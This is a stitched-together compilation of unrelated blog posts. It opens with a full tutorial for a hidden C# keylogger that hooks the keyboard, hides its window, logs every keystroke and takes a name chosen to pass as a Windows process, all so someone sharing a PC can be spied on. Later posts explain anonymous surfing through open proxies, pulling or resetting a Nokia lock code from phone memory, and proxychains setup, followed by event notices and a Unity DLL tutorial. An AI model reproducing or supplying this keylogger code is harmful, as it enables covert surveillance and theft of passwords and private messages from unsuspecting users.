How to Create a Simple, Hidden Console Keylogger in C# Sharp

How to Create a Simple, Hidden Console Keylogger in C# Sharp

Today I will show you how to create a simple keylogger in Visual C# Sharp, which will start up hidden from view, and record anything the user types on the keybord, then save it into a text file. Great if you share a PC and want to track what someone else is writing.

You Will Need

Visual C# 2010 Express

Step 1 Create the Project

This is semi-important, usually you don't put much thought behind this, but I recommend naming this project something like "Windows Local host Process" or whatever, so that IF the user you are tracking suddenly decides to look up windows processes, your app will not be so easy to distinguish from something Windows would already have running in the background.

Why? Well, renaming the .exe file is not enough, the name you give your project will appear in the task manager, so assuming you are not a very technical user, if you see a process called ''cmd.exe | ConsoleApplication5" then alarm bells should not be ringing. However, if you see "sysWin86 | Windows Local Host Process" you won't know right away that it is not a legitimate process.

So create a Console Application project, name it appropriately and in the "Using" clause, include the following, if it's not already there:

using System.Diagnostics;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
Step 2 Declaration Clause and Referencing

Just below "Class YourProject {", add the following:

private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;

In the "Main" function ("public static Main") add:

var handle = GetConsoleWindow();

// Hide
ShowWindow(handle, SW_HIDE);

_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);

Finally, go into Project >> Add References.

In the .NET tab, choose System.Windows.Forms and add it to your project.
Step 3 Functions for Key Capturing

Below the Main clause, add these functions:

private delegate IntPtr LowLevelKeyboardProc(
int nCode, IntPtr wParam, IntPtr lParam);

private static IntPtr HookCallback(
int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
Console.WriteLine((Keys)vkCode);
StreamWriter sw = new StreamWriter(Application.StartupPath+ @"\log.txt",true);
sw.Write((Keys)vkCode);
sw.Close();
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
Step 4 DLL Imports

After adding the key capture functions, add these:

//These Dll's will handle the hooks. Yaaar mateys!

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

// The two dll imports below will handle the window hiding.

[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();

[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

const int SW_HIDE = 0;

Step 5 Compile and Try it Out!

This is the fun step. Once you have added all the code, just run the compiler and try out the .exe!

As the window is hidden, but still records every keystroke, you will now log all the keystrokes ever pressed on that PC.
Further Improvements
Log file management could be improved by inserting line breaks at certain intervals. Something I did not bother with for this particular exercise.
It is possible to create a global mouse hook which will tell you what applications your mouse interacted with, where the cursor was and so forth. Google is your friend on this one.
Run @ Startup script.

—————————————-
#ظیان میر
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Sent from my BlackBerry® wireless device

Anonymous Surfing

There are situations in which you may want to visit a site without leaving a trace of the visit. For instance you want to check what's going on at your competitor's site. Your visit will generate a record in the log file. Frequent visits will generate many records. Do you want to know what kind of records? See in YOUR REQUEST, YOUR WHOIS RECORD, GEOGRAPHIC LOCATION and MAP, Privacy Analysis of your Internet Connection, Another Privacy Investigation Report, BrowserSpy Info, ShowMyIP - will tell you some scary info about what can be told about your computer via the internet.

Note that these tests are not very sophisticated. A dedicated "snooper" can often learn much more. Once I came across a server that tried to connect to my computer's disk while I was browsing ... that was an exciting experince. You should also remember about things like cookies, hostile applets and java scripts, browser security holes and so on. So why don't we send someone instead of ourselves? Good idea.

Remember that simple owner of Web server may collect information about requests you had performed in search engines, keywords you had typed, your browser and language, date, time, your operating system, physical and geographical position, pages from which you had clicked links and so on. See below some records generated by our server users (real IPs are slightly changed).. Note that large internet companies such as doubleclick, google, government institutions have tremendous possibilities to collect much more information about you and your behaviour..

Step #1-Determine your IP Address:

Every computer connected to the Internet has a unique identifier called an IP Address. On many networks, the IP Address of a computer is always the same. On other networks, a random IP Address is assigned each time a computer connects to the network. This is what we are referring to when we ask if you have a static or a dynamic IP Address. If a system uses dynamic addressing, the IP can change quite often. Look into REMOTE_ADDR row in THIS LINK to determing your current IP Address.

Step #2-Get Anonymous:

Method #1: Anonymizer

One can surf anonymously and easy with the help of a nice services called CGI/Web proxies. Simply type a URL you want to visit -- the Page does the job for you, selecting random CGI/Web proxy from a hundreds of available services, securing you from many potential dangers. When you follow a link on a page viewed via CGI proxy you get there via the this proxy again, so you don't have to type a new URL.

CGI/Web proxy has two more nice features. Firstly, there are WWW sites that are inaccessible from one place, but easily accessible from another. Once I was trying to load a page located in Australia for 20 minutes, all in vain. Using CGI/Web proxies immediately solved the problem. Secondly, there are certain sites that give you information depending on where you are "calling" from. Let's take an example. I was at Encyclopedia Britannica site, trying to check the price for their products. Clicking on Order Information button gave me the list of Britannica's dealers all over the world, no price info. Going to the same place via the Anonymizer led me to a different page, where I found the price list. As it turned out the local dealer's price for Encyclopedia Britannica CD was several times higher than the one at which it's sold in USA. Good savings!

Some CGI/Web proxies are able to encrypt URLs (uniform resource locator) in a way that these can be used as reference for a server. If a request with an encrypted URL occurs, they are able to decrypt the URL and forward it to the server, without enabling the user to get knowledge about the server address. All references in the servers response are again encrypted before the response is forwarded to the client.

Some CGI/Web proxies are able to use secure HTTPS protocol for exchanging data between proxy and your computer, even if original server is not secure. This option excluding possiblility to sniff a data flow between your computer and this proxy is very useful in some cases, for example, when you are forced to work in possibly scanned/sniffed insecure public network.

To get your personal CGI/Web/FTP proxy simply download free James Marshall CGIproxy script and install on your Web server (Apache as a rule, Perl or mod_perl support is required), Glype proxy is another CGI script written in PHP which allows webmasters to quickly and easily set up their own proxy sites or PHProxy. Our ProxySite Perl script allows to run your own Web proxy on any computer (Linux, Windows, ..) with only Perl interpreter installed.

Method #2: Proxy Servers

What is proxy?
Proxy - a server setup designed to offer either firewall security or faster access to cached content normally accessible only through slower connections.
Proxy server - is the software installed on some network server. The main purpose of this software is to relay traffic between two network hosts (client and server), sometimes this software does some data caching (usually this is performed by HTTP proxies). If your browser is configured to work through the proxy server then all your network traffic will go through that proxy server.

The main purposes of proxy servers:
Transfer speed improvement (in case of caching proxies). You may use your ISP's proxy to access the internet - usually you have better connection to your ISP's proxy than to other hosts, if this proxy has the resource you requested from the internet you will get a copy of it from proxy (from its cache).
Security and privacy (for HTTP). Anonymous proxies hide information about your computer in the request headers, so you can safely surf the net and your information will never be used in any way.
LAN interconnection (or LAN to WAN connection). Sometimes you experience some problems while accessing the server located in the other network (for example in the internet).

There are 3 types of HTTP proxies:
Fully anonymous (elite or high anonymous) proxies. Such proxies do not change request fields and look like real browser. You real IP is also hidden of course. People that administrating internet servers will think that you are not using any proxies.
Anonymous proxies also do not show your real IP but change the request fields, so it is very easy to detect that proxy while log analyzing. Nothing really matters, but some server administrators restrict the proxy requests.
Transparent proxies (not anonymous, simply HTTP) change the request fields, also they transfer real IP. Such proxies are not applicable for security and privacy while surfing on net. You can use them only for network speed improvement.

When Web Proxy Servers are Useful?

Permitting and restricting client access to the Internet based on the client IP Address.
Caching documents for internal documents. - Selectively controlling access to the Internet and subnets based on the submitted URL.
Providing Internet access for companies using private networks.
Converting data to HTML format so it is readable by a browser.

One can also anonymize one's web surfing by using a proxy server. Proxy servers are similar to the Anonymizer, i.e. web pages are retrieved by the proxy server rather than by the person actually browsing the Web (you). But there are several important distinctions: proxy servers don't help with cookies, hostile applets or code. In most of the cases they do just one thing: they conceal your real geograhic location.

Most of proxy servers restrict access based on the IP Address from which a user connects to them. In other words if you have an account with Bluh-Bluh-Com, you can't use La-Di-Da-Net's proxy server, access will be denied. Fortunately you can always find a "kind-hearted" proxy server on the Net the owners of which openly state that the service is publicly available, or a proxy server that doesn't restrict access that due to whatever reason, but the fact is not known to everyone.

How do you find a "kind-hearted" proxy server? Good news for lazy people: there are many lists of available proxy servers with periodic updates:
http://rosinstrument.com/proxy/. RSS feeds are also available for proxy lists syndication and to keep up with proxy lists in an automated manner that can be piped into special programs or filtered displays, such us Google Reader, Bloglines, etc.: in browser, in Google Reader, planetlab in browser, planetlab in Google Reader.

For those who are not so lazy: find your own proxy server, it's real easy. Go to your favorite search engine (Google.com for example) and type something like

+":8080" +":3128" +":1080" filetype:txt OR filetype:html,

and you'll get the list of Web pages where ISPs give complete instructions to their users of how they should configure their browsers. Try every proxy address and after 5 or 7 failures you will surely find a proxy server that works for you. So let's say you have found a proxy, e.g.: some.proxy.com, HTTP port 8080. To make your browser use a proxy server fill out the corresponding fields in Manual Proxy Configuration tab (hope you can find it yourself).


Custom Search

Testing proxy lists you have found.

As a rule a quality of proxies from proxy lists you have found by such ways is sufficiently low because of large number of requests to these proxies by many users which have found that lists in search engine, number of professional abusers and robots using these proxies very intensive for network adverising, spamming, flooding forums, bulletin boards, blogs and so on. Number of working proxies from such lists varies from 0.00% to 10-20%. Therefore manual selection of operable proxies is not possible. Fortunately, a few of proxy testing software exists such as our ProxyCheck Java application, Proxyrama for Windows with source code available, Charon for Windows and others. See our Related Links for more examples.

Warnings!
Misconfigured Servers

Often, a PUBLIC proxy server is open because it has not been configured properly. Most of open proxy servers are not supposed to be public. The person that configured the server was not aware of the potential problems and security risks. It is very common to for a novice administrator to set up a proxy with access rights that allow anyone to connect. To close a proxy server it is necessary to force users to connect from one IP Address or a range of IP Addresses. An alternative is to require users to use a user name and password.

'Honey Pots' or 'Honey Proxies'

Everything that is done on or through the open proxy server can be logged and traced. A honey pot is an open proxy server intentionally deployed by security professionals to lure hackers and track their every move. A honey pot can also be installed by a hacker. A hacker can put a proxy server up on his, or a victim's computer and wait for a scanner to find it. Sending spam e-mail trough a honey pot proxy exposes the sender's activity. When a spammer uses the proxy to send bulk email, it is possible to collect the content of the spam and report the spammer to his ISP.
Educational, academic public proxy systems: Planetlab, CoDeeN

The CoDeeN (a suite of network services, including a CDN, that provides users with more robust access to network content) proxies are big, fast, logged and cached proxy servers cluster based on PlanetLab (a global platform for testing and deploying an emerging class of planetary-scale network services) global research network which was founded in 2002 in Princeton, Berkley and now consists of more than 700 nodes located in many educational and research institutions in the world opened for public use. These proxies are often placed in many "anonymous proxy lists" such as "high anonymous" and "elite", HOWEVER everything you do online is thoroughly tracked. As a rule these proxies are configured on 3124,3127,3128,8888 TCP ports. Some limitations for these proxies usage also exist, for example HTTP POST method is disabled.

Security Risks
When you use an open proxy server, your computer is making a direct connection to another computer. You do not know who is in control of the remote computer. If you are using proxy servers from open proxy lists, you could be trusting your email messages, passwords or other sensitive information to a person running the server. Someone can be watching the unencrypted information you are transferring over the network.
Configuring your browser to easy switch between multiple proxy configurations

There are many different software that could be used to set up a proxy for your system. For example small and free SwitchProxy Tool Extension for Mozilla, Firefox, Thunderbird. SwitchProxy lets you manage and switch between multiple proxy configurations quickly and easily. You can also use it as an anonymizer to protect your computer from prying eyes. Text proxy lists in host:port format are very flexible and can be used with most proxy software for Internet Explorer, Mozilla, Firefox, Thunderbird, Opera and other browsers.

Configuring your browser with "Proxy Auto-Config File" proxy.pac

Definition
The proxy auto-config (.pac) file defines how user agents can automatically choose the appropriate access method for fetching a given URL. See Wikipedia article for more detailed description.
Firefox

Go to Tools -> Options -> General -> Connection Settings. Select the option to enter an automatic proxy configuration URL. Enter http://rosinstrument.com/cgi-bin/proxy.pac and click OK twice.
Firefox 2

Go to Tools -> Options -> Advanced -> Network -> Settings. Select the option to enter an automatic proxy configuration URL. Enter http://rosinstrument.com/cgi-bin/proxy.pac and click OK twice.

Internet Explorer
Go to Tools -> Internet Options -> Connections. If you use a dialup connection, select it and click Settings. Otherwise, click LAN Settings. Select the option to use an automatic configuration script. Make sure no other options are selected. Enter http://rosinstrument.com/cgi-bin/proxy.pac and click OK twice.

only SOCKS, CONNECT or HTTP selection

to select only HTTP proxy use http://rosinstrument.com/cgi-bin/http.pac as configuration script.
to select only CONNECT (HTTPS) proxy use http://rosinstrument.com/cgi-bin/https.pac as configuration script.
to select only SOCKS proxy use http://rosinstrument.com/cgi-bin/socks.pac as configuration script.
Configuring your browser manually

FireFox
Tools - Options - General - Connection Settings - Manual proxy configuration - View, and for HTTP and FTP type name of your proxy server (example: proxy.net) and port number (example 3128).
Mozilla, Nestcape Navigator 6.x, Nestcape Navigator 4.x, Netscape Communicator
Edit - Preferences - Category - Advanced - Proxies - Manual proxy configuration - View - Set proxy for following protocols: HTTP, FTP, etc.

Konqueror

Setting - Configure Konqueror... - Proxies - Enable "Use proxy" - Set proxies for HTTP, HTTPS, FTP or other protocols.
Internet Explorer 5.x, 6.x, 7.x, 8.x
Service - Internet Options - Connections - Choose your connection and click "Settings" button for dial-up connection or click "LAN Settings" button in the "Local Area Network (LAN) Settings" group box - Enable "use a proxy server - type proxy name and proxy port - If nessesary, enable/disable "bypass proxy server for local addresses" - OK
Internet Explorer 4.x, Internet Explorer 3.x
View - Internet Options - Connection - mark "Access the Internet using a proxy server". At ADDRESS type name of the server (example: proxy.net) and at PORT type port number (example: 3128), click on advanced button and mark "Use the same proxy server for all protocols".

Opera 8.x, Opera 9.x
Tools - Preferences - Advanced tab - Network - "Proxy servers" button - set Proxy Server address and proxy configuration port - OK.

Mozilla Thunderbird proxy settings
Tools - Options - Advanced - "Offline and Connections Settings" -"Connection Settings" - "Set up Proxies for accessing the Internet" - select radio button for "Manual proxy configuration" - set Proxy Server address and proxy port - OK.

mIRC
Tools - Options - Open Connect - Firewall - in "protocols" combo box select SOCKS4, SOCKS5 or Proxy (for HTTP, HTTPS) - set Proxy Server address and proxy port - OK.

Emule
Options - Proxy ta
Sent from my BlackBerry® wireless device

How to Recover Lost Security Code

THIS WILL WORK FOR ALL THE NOKIA BB5 HANDSETS like NOKIA 6120c, NOKIA 5700, NOKIA 6300, NOKIA 6630, and many otherzzz..

Download Nemesis Service Suite from the site mentioned above:

METHOD 1 " TO RECOVER THE CODE

1. CONNECT UR FONE VIA USB CABLE IN PC MODE & INSTALL THE DRIVERS FOR UR CELL FONE PROVIDED WITH NOKIA PC SUITE.THEN EXIT PC SUITE

2. THEN INSTALL Nemesis Service Suite

3. SELECT USB VIRTUAL DRIVE during installation (in case of nokia 6120c for nokia 5700 use diamond protection)

4. AFTER INSTALLATION OPEN IT, THEN CLicK ON SCAN BUTTON

5. AFTER THAT CLicK ON PHONE INFO, NOW CLicK ON SCAN

6. NOW CLicK ON PERMANENT MEMORY TAB given on right bottom of application

7. NOW CLicK ON READ, IT WILL READ THE PERMANENT MEMORY FILE & WRITE IT TO THE DISK

UR PM FILE WILL BE LOCATED IN THE PATH:

D:\Program Files\NSS\Backup\pm\356252*********.pm

open that PM file in NOTEPAD

8. now scroll uptil FIELD [308] and on the 5th RECORD ur security code is saved

like that

5=31303038350000000000 remove all the "3" digits and it will be like that

5= 10085 0000000000 now its 10085 thats it.UR LOCK CODE IS 10085

METHOD 2 TO RESET THE CODE

You need a Data cable that comes with your phone and Nemesis Service Suite(later named as NSS) installed on your PC..

Connect normally turned on phone to the cable and install drivers for it,is asked.
Start NSS and click on magnifier glass - marked with mouse cursor.

When driver and other NSS software informations are displayed,click on big Phone Info (1.) button and then on little Scan (2.) button.If everything is OK you will get message Done! (field marked with arrow).

Now click on big Tools (3.) button,

http://i50.tinypic.com/3011paw.jpg

then on tab Factory Settings (4.)

http://i47.tinypic.com/dewaza.jpg

now here,if you have a Symbian phone then you must check Symbian box (it is above the Reset button marked with 6.),if you have S40 3rd phone then leave Symbian unchecked.
Select User code (5.) if not allready selected and click on Reset (6.) button.
If everything goes well message Done will appear again in that field marked in second picture+those messages in regular information window.

http://i47.tinypic.com/2uxvbbr.jpg

That's it,your Security code is set to factory 12345 again.

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Sent from my BlackBerry® wireless device

Confire and Using Proxychains in Backtrack 5

How to configure and use Proxychains in Backtrack 5

There are a lot of ways to hide your identity , either by single proxy or by multiple proxies like TOR which Xeo Hacker explained in a recent post.

But if u have BackTrack then nothing to worry about you can use proxy very easily and u can use multilple proxies also.

Well its called proxychains .. So lets get started

◘What it does?

Well proxychains is a inbuilt tool in backtrack to let u use proxy very easily. It uses proxy according to the configuration file , which we gonna config and it takes u to any address or url via multiple proxies

◘Introduction to Proxy chains.

well actually there is a configuration (.conf) file in etc folder . its named proxychains.conf . This is the file where u will do all ur stuffs and u'll hide your identity just by typing a single command once you configure.

Go to terminal and type following command then hit enter

♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦
gedit /etc/proxychains.conf ♦
♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦

◘Modes or types of proxychains

There are 3 modes of proxychains

☻dynamic_chain:This uses the list of proxies in the same order as u placed
☻strict_chain:almost similar to previous one except it will not work if it gets any dead proxy server
☻random_chain:this is the best .. this chooses and uses proxies randomly

◘Configuration of the file.

u have to open that file with root privilege to edit that file so first issue following command

♦♦♦♦♦♦♦♦
sudo su ♦
♦♦♦♦♦♦♦♦

then issue this command

♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦
gedit /etc/proxychains.conf ♦
♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦

now you have to follow these steps

comment out the mode u want to use

♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦
----------------------------START-------------------------------
♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦
strict_chain
#
#Strict-each connection will be done via chained proxies
#all proxies chained in order as they appear in the list
#all proxies must be online to play in chain
#Otherwise EINTR is returned to the app
#
//#random chain
#each connection will be done via random proxy
# (or proxy chain, see chain_len) from the list
#this option is good to test your IDS
♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦
--------------------------END----------------------------------
♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦

as u can see i have commented out random_chain by "//" .
now go to any proxy server list .. just google it .. i'll be using socks4 proxy servers so search on google .. then copy some IPs and their port no. and then paste it where it says add proxy here . refer the pic at last i have added some IPs.

♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦
---------------------------START-------------------------------
♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦
[ProxyList]
#add proxy here
#meanwhile
#defaults set to "tor"
socks4 127.0.0.1 9550
socks4 xxx.xx.xx.xxx ****
socks4 xxx.xx.xx.xxx ****
socks4 xxx.xx.xx.xxx ****

Now your configuration is done …..

◘How to use proxychains

to use proxychains just have to issue some commands as listed below.

proxyresolv [the site u want to open]
proxychains firefox [the site u want to open ] (for firefox)

♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦
(For those willing to ask stupid questions)

NOTE: xxx.xx.xx.xxx = IP address (of the socks4)
NOTE: **** ports

♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦♦
Sent from my BlackBerry® wireless device

AfricaCom 2012, Cape Town



Now in its 15th year, AfricaCom is embracing all aspects of the converging telecoms, media & ICT sectors to deliver the most inspiring, exciting and thought-provoking event yet. With 200+ speakers and over 125 scheduled hours of value-packed content, and newly extended to 3 days, AfricaCom offers something for everyone with visionary keynotes, specialised streams, interactive panel discussions, workshops, demos, networking opportunities and more.
The AfricaCom programme has been overhauled to reflect the market's vibrant new dynamics:

The conference will provide the best opportunity for all stakeholders to debate the changes in the digital ecosystem, to share visions, to build partnerships and to develop attractive services that will fit the needs of customers. New with an extra day, the programme includes eye-opening keynotes, engaging focus sessions, three co-located conferences, compelling workshops, more interactive panels and expertise from a much wider range of digital experts.

Speakers include:

Simon Brunozzi - Technology Evangelist, AIPAC and New Regions, Amazon Web Services

Solomon Mugera - Africa Editor, BBC

Kasia Kieli - President & Managing Director, Discovery Networks CEEMEA

Konstantin Dyshlevoy - CEO, Dune HD

Nicola D'Elia - Growth Manager Africa, Facebook

Brett St Clair - Head of Mobile in South Africa, Google

 Wayne Gosling - Co-CEO, Groupon South Africa

Nic Haralambous - CEO, Motribe

 Alex Okosi - SVP and MD, MTV Networks Africa

Andy Volk - VP Developer Relations , Mxit

Peter Vesterbacka - Mighty Eagle, Rovio

 

New additions to the event include:

EXPANDED & EXTENDED EXHIBITION: more opportunities to network with 7,000 fellow industry executives, more chances to appraise the competitor landscape, more chance to dabble and demo the latest technologies and applciations.

AFRICACOM INSIGHTS – future-proof your business with expert anayslst briefings and based on proprietary primary data not available anywhere else. PLUS an Entrepreneurs Hub and Technology Workshops

EXTENDED MASTERCLASS DAYS – the overwhelmingly popular MasterClass sesssion have been extended to a 3rd day. Packed with practical, stimulating, interactive persentations this programme plays to standing room only…

 

Event Details:

When: 13 – 15 November 2012

Where: Halls 1, 2, 3 and 4 of the Cape Town Convention Centre

For more information visit www.africa.comworldseries.com
Sent from my BlackBerry® wireless device

Creating and Using DLL in C# sihle khalala

A dynamic link library (DLL) is a collection of small programs, any of which can be called when needed by a larger program that is running in the computer. The small program that lets the larger program communicate with a specific device such as a printer or scanner is often packaged as a DLL program (usually referred to as a DLL file). DLL files that support specific device operation are known as device drivers.

Definition

dynamic link library (DLL)

A dynamic link library (DLL) is a collection of small programs, any of which can be called when needed by a larger program that is running in the computer. The small program that lets the larger program communicate with a specific device such as a printer or scanner is often packaged as a DLL program (usually referred to as a DLL file). DLL files that support specific device operation are known as device drivers.

//Definition: A DLL file, short for Dynamic Link Library, is a type of file that contains instructions that other programs can call upon to do certain things. This way, multiple programs can share the abilities programmed into a single file.//

DLLs are Dynamic Link Libraries, which means that they're linked into your program at run time instead of build time. There are three parts to a DLL:

*the exports

*the code and data

*the import library

The code and data are the parts you write - functions, variables, etc. All these are merged together, like if you were building one big object files, and put into the dll. They are not put into your .exe at all.

The exports contains a list of functions and variables that the dll makes available to other programs. Think of this as the list of "global" symbols, the rest being hidden. Normally, you'd create this list by hand with a text editor, but it's possible to do it automatically from the list of functions in your code. The dlltool program creates the exports section of the dll from your text file of exported symbols.

The import library is a regular UNIX-like .a library, but it only contains the tiny bit of information needed to tell the OS how your program interacts with ("imports") the dll. This information is linked into your .exe. This is also generated by dlltool.

The advantage of DLL files is that, because they don't get loaded into random access memory (RAM) together with the main program, space is saved in RAM. When and if a DLL file is needed, then it is loaded and run. For example, as long as a user of Microsoft Word is editing a document, the printer DLL file does not need to be loaded into RAM. If the user decides to print the document, then the Word application causes the printer DLL file to be loaded and run.

A DLL file is often given a ".dll" file name suffix. DLL files are dynamically linked with the program that uses them during program execution rather than being compiled with the main program. The set of such files (or the DLL) is somewhat comparable to the library routines provided with programming languages such as C and C++

Example

I received an error message when my computer started up that said I was missing a particular DLL file. After an exhaustive search on the Internet, I found out that I would have to reinstall Windows to fix it!"

///new code

Hi, today i will explain you How to create and manage library(.dll) files in your unity project.

Tools:
1.Unity3D Pro
2.VISUAL C# 2010 EXPRESS or Visual Studio 2010,
3.C# Basic knowledge
4.Brain
5.Hands 8-).

Starting new Project:

Open VISUAL C# 2010 EXPRESS or Visual Studio 2010, go to File>New Project>Visual C#>Class Library. Set Your file name(I named it Tutorial) and Choose(.NET Framework 3.5) not above, otherwise unity will not read .dll.

after setup it will open something like this.

Code:  

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace Tutorial
{
    public class Class1

    {

    }

}

Ok lets start coding

for more beautifulnes lets change class name (REMEMBER: when you change class name, change also file name in the project) I actualy changing name of the project .cs file name, and it automaticly changing class name for me 8-) .

Now my code will look like this:

Code: select. Line 

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace Tutorial

{

    public class tut

    {

      //code goes here

    }

}

the (namespace Tutorial) will be used in our unity later, it`s mean we must leave it exactly that it or you can change it to other name, for now i will use (namespace Tutorial);

Now i will put some basic function with name "textview" and it will be string. Then i will returne my name.

to construct public function in c# you make it like this (public [string,int,etc...] [function name]() { }).

OK my function is like this

Code: select line 

public string textview()

        {

            return "Mr.Smart";

        }

Now my code will look like this:

Code:  code select

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Tutorial

{
    public class tut

    {

        public string textview()

        {
            return "Mr.Smart";
        }

    }

}

My dll is ready, i need to build it. go to Build>Configuration Manager... and change debug to release.

your dll must be builded in yourproject\bin\Release folder.

Now go to your Unity project folder and open Assets folder, in that folder make "new folder" called "Plugins".

This will be you plugin folder, paste your.dll to that folder, Unity will automaticly import it.

Usage is very seample open your c# script in your unity project.
Lets say that we make new script and there is nothing.

Blank c# script with class name tutorial.

Code:  code select


using UnityEngine;
using System.Collections;
public class tutorial : MonoBehaviour {

    // Use this for initialization

    void Start () {
    }

    // Update is called once per frame

    void Update () {
    }
}

to get dll work in our script we must make new destination to it.

seamply we will put in upper side "using [your dll file name];" it will automaticly popup if your dll script will not have any error, that is why we didnt delete the "namespace Tutorial" from our dll code.

when we inported dll we must make new variable with the new class of our dll.

for me it will look like

Code: select 1 line

public tut a =  new tut();

t somthing like to make new Vector3 class.

We have imported dll , we have new class. Now we need to call function in our "tut()" class.

it will look like this

Code: select line  

a.textview()

and i will print it in my awake function

Code: select lines  

void Awake(){
        //printing
        print(a.textview());
    }

My code finaly will look like this:

Code: select lines  

using UnityEngine;
using System.Collections;
using Tutorial;
public class tutorial : MonoBehaviour {  
   //making the new class
    public tut a = new tut();
    //on awake
    void Awake(){
        //printing
        print(a.textview());
    }
    // Use this for initialization
    void Start () {
    }
    // Update is called once per frame

    void Update () {
    }
}

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HP announces Windows 8 tablet _ ElitePad 900

HP has announced its latest device,  a 10-inch Windows 8 tablet called the ElitePad 900 aimed at professionals.

The tablet comes wrapped in an aluminium chassis with a Gorilla Glass display.

The tablet, released with a number of accessories, runs an Atom-based Intel Clover Trail processor, with up to 2GB of RAM and up to 64GB of SSD storage. The device also offers approximately 10 hours of run time and optional 3G/4G.

Other features of the device include a screen resolution of 1,280 x 800, 8-megapixel rear camera and a 1080p shooter up front, slots for microSD cards and 3G/4G SIMs.

HP will also be making special smart jackets available with the device that provide additional functionality such as a built in keyboard, removable battery and USB ports.

The ElitePad 900 is expected to go on sale in the U.S. in January 2013.

Source: Engadget
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B2B Indaba 2012: Connecting Entrepreneurs

The B2B indaba is an informative networking session created for small business entrepreneurs and will be held at the Cape Peninsula University of Technology. The Indaba aims to educate small business entrepreneurs and aspiring entrepreneurs about the importance of creating and maintaining an online presence for their businesses and brands.

The indaba will take place over a period of two hours. This session will include speakers from different business background who have a respectable knowledge of online marketing, small business entrepreneurship and online presence management for businesses and brands.

Each speaker has a maximum of 30 minutes to present on their business, the importance of an online presence for a business and also good entrepreneurship in general.

Attendees will include small business entrepreneurs from Cape Town CBD and surrounding areas, Cape Peninsula University of Technology (CPUT) Entrepreneur students, online media and invited delegates. All attendees will be given an opportunity to comment or ask question related to the speaker's business industry or about online presence management.

The objectives of the Indaba include the following:

Building relationships between businesses and entrepreneurs, and entrepreneurial students.

Informing small business entrepreneurs of the importance of an online presence for their businesses and brands.

Creating networking opportunities for small business entrepreneurs.

More than anything else it is about knowledge transfer, the promotion and support of entrepreneurial growth and development in Cape Town and ultimately South Africa.

Event Details:

When: 6th of October 2012

Time: 11:00 for 11:30 – 13:30

Where: Atrium Room, Cape Peninsula University of Technology

Cost: R100 per person (limited seats available)

To RSVP for this event click here and enter the information below:
Event ID: 1469
Passwords: BBINDABA
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Final Countdown to the Digital Edge Live Show National Assembly 2012

The final countdown to this year's premier digital marketing event has begun. All speakers, sponsors, and panel discussion topics have been confirmed and in just one week, these top local and international speakers will be taking to the floor at the Cape Town City Hall for the Digital Edge Live Show – National Assembly on October 4th.

We're all aware that digital marketing is in constant flux. The breakneck pace of innovation alone is causing such dynamic change in this industry that sifting the core trends from the noise in order to ascertain which forces will shape the digital landscape, is no easy feat. The 2012 sitting of the National Assembly has called together a working committee to aid in this sifting process.

Top digital innovators from a range of the country's digital marketing elite will deliberate and state their case with thought-provoking discussions:

Our first panel question: "Are digital agencies 'blinding clients with science'?" will be deliberated by cabinet members Matthew Buckland, Nikki Cockcroft, Ivan Moroke, Arthur Charles Van Wyk, and Andy Gilder, who will deliver an array of practical solutions.

Our second panel will seek to determine whether "South African digital work really is world class" – a question that will be tackled by industry stalwarts Graham Warsop, Rob Stokes, Pete Case, and Jason Xenopoulos.

